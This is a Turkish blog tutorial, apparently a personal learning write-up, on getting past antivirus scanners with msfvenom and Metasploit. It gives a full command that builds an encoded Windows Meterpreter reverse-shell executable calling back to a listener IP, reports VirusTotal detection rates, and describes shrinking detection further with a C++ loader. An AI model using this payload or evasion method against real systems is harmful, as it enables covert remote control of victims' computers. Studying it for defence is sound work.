NEDİR BU AV BYPASS? 1

Ayşe Nur İlhan
4 min readMay 28, 2023

--

Uzun bir aradan sonra herkese merhaba! Yine öğrenilecek çok şey vardı, ben de bu haftalık AV Bypass konusunu seçtim. İki seriden oluşmasını beklediğim bu yazı dilerim hepimiz için yararlı olur.

Başlayalım mı?

Nedir bu msfvenom, çok kısa özetler misin?

Metasploit ile gelen bu araç, zararlı kod üretmemizi sağlar.

Nasıl kullanılır bu msfvenom?

Hemen Kali’mizi açıp msfvenom -h yapalım.

Açıklamaları görselin sağında göreceğiniz şekilde görselleştirmiştim fakat kısaca bahsedelim.

  • -p : (Payload) Oluşturulan zararlı dosya açıldıktan sonra çalışan kod parçası
  • -e : (Encoder) Oluşturulan zararlı dosyayı antivirüslere yakalanmaması için şifreleyen araç seçiminin yapıldığı parametre
  • -i : (İterations) Oluşturulan zararlı dosyayı kaç defa şifreyeleceğini seçeceğimiz parametre
  • -b : (Bad Chars) Oluşturulan zararlı dosyanın çalışabilmesi için çıkaracağımız kötü karakterleri yazdığımız parametre
  • -f : (Format) Oluşturulan zararlı dosyayı hangi formatta kaydeceğimizi belirlediğimiz parametre
  • -a : (Architecture) Oluşturulan zararlı dosyanın hangi mimaride çalışacağını verdiğimiz parametre
  • — platform :Oluşturulan zararlı dosyanın hangi işletim sisteminde çalışacağını verdiğimiz parametre

Sıra zararlı bir dosya oluşturmakta!

msfvenom -p windows/meterpreter/reverse_tcp  -e x86/shikata_ga_nai -i 8-a x86 --platform windows LHOST=192.168.80.135 LPORT=443 -f exe  >  test.exe

Yukarıdaki çıktıyı almakta herhangi bir sorun yaşamadıysak zararlı dosyayı oluşturduğumuzu belirtebilirim! Hadi bu dosyamızı Virustotal ile taratalım ve kaç vendor’a yakalandığımızı bir görelim.

55/70 oldukça yüksek bir oran. Burada benim aklıma ilk gelen şey yazdığımız komutta değişikliğe gitmek oldu. Birde öyle deneyelim mi?(Denendi, i ve e parametrelerinde değişiklik yapıldı ve benzer sonuç alındı, onu da şöyle aşağıya bırakıyorum.)

Peki şimdi ne yapacağız diye düşünürken, acaba encoder parametresi neden incelediğim bütün kaynaklarda x86/shikata_ga_nai olarak seçilmiş diye düşünmeye başladım ve aşağıdaki gibi bir açıklamayla karşılaştım.

“Msfvenom için en popüler ve muhtemelen en iyi kodlayıcı olarak derecelendirilen x86/shikata_ga_nai’dir ( shikata ga nai Japonca’da “yardım edilemez” anlamına gelir). Bu bir “polimorfik XOR ek geri bildirim kodlayıcısıdır” — ama bir dakika, bu ne anlama geliyor?

Shikata_ga_nai, komutları yeniden sıralar ve kabuk kodumuzu kodlamak ve her seferinde farklı çıktılar almak için kayıtları dinamik olarak seçer, bu da imza tabanlı algılamanın kötü amaçlı kabuk kodumuzu almasını zorlaştırır. Başına eklenen kod çözücü de gizlenmiştir, bu da yalnızca hedefimizin kabuk kodunu çözmesine izin vermeyi amaçlar. Shikata_ga_nai ile kodlanmış yükleri VirusTotal’a yüklerseniz, yükü algılayabilen AV’lerin sayısında, yükün kodlanmadığı duruma göre bir düşüş göreceksiniz. -i no ile daha fazla kodlama yinelemesi ekleyerek bu AV kaçırmayı bir sonraki seviyeye taşıyabilirsiniz . -i 10'a sahipseniz , kodlayıcı 10 kez çalışacaktır. Daha fazla yineleme eklemenin dezavantajı, kabuk kodu boyutunun her yinelemede artmasıdır.”

Buraya kadar kafamıza takılan bir şey olmadığını varsayarak devam ediyorum. -e parametresini yeterince kurcaladık biraz da -f parametresiyle oynayalım mı?

Biraz da c++ kodu yazalım.

Dosyamızı oluşturduk, şimdi birde C kodunu inceleyelim mi?

C++ kodu yazarak zararlımıza ufak dokunuşlarda bulunmaya hazırsak başlayalım. Hemen Visual Studio’ya atlıyoruz.

Kütüphanelerimizi ekledikten sonra payloadımızı yerleştiriyoruz.
“size” kısmına zararlımızın boyutunu yazıp, yukarıdaki kodlardan yararlanıyoruz. Bu aşamadan sonra derlemeyi de unutmuyoruz.
35'e indirdik!

--

--

Ayşe Nur İlhan

Yazarak ve anlatarak daha iyi öğrendiğini keşfetmiş, bir elektrik elektronik mühendisi profilidir!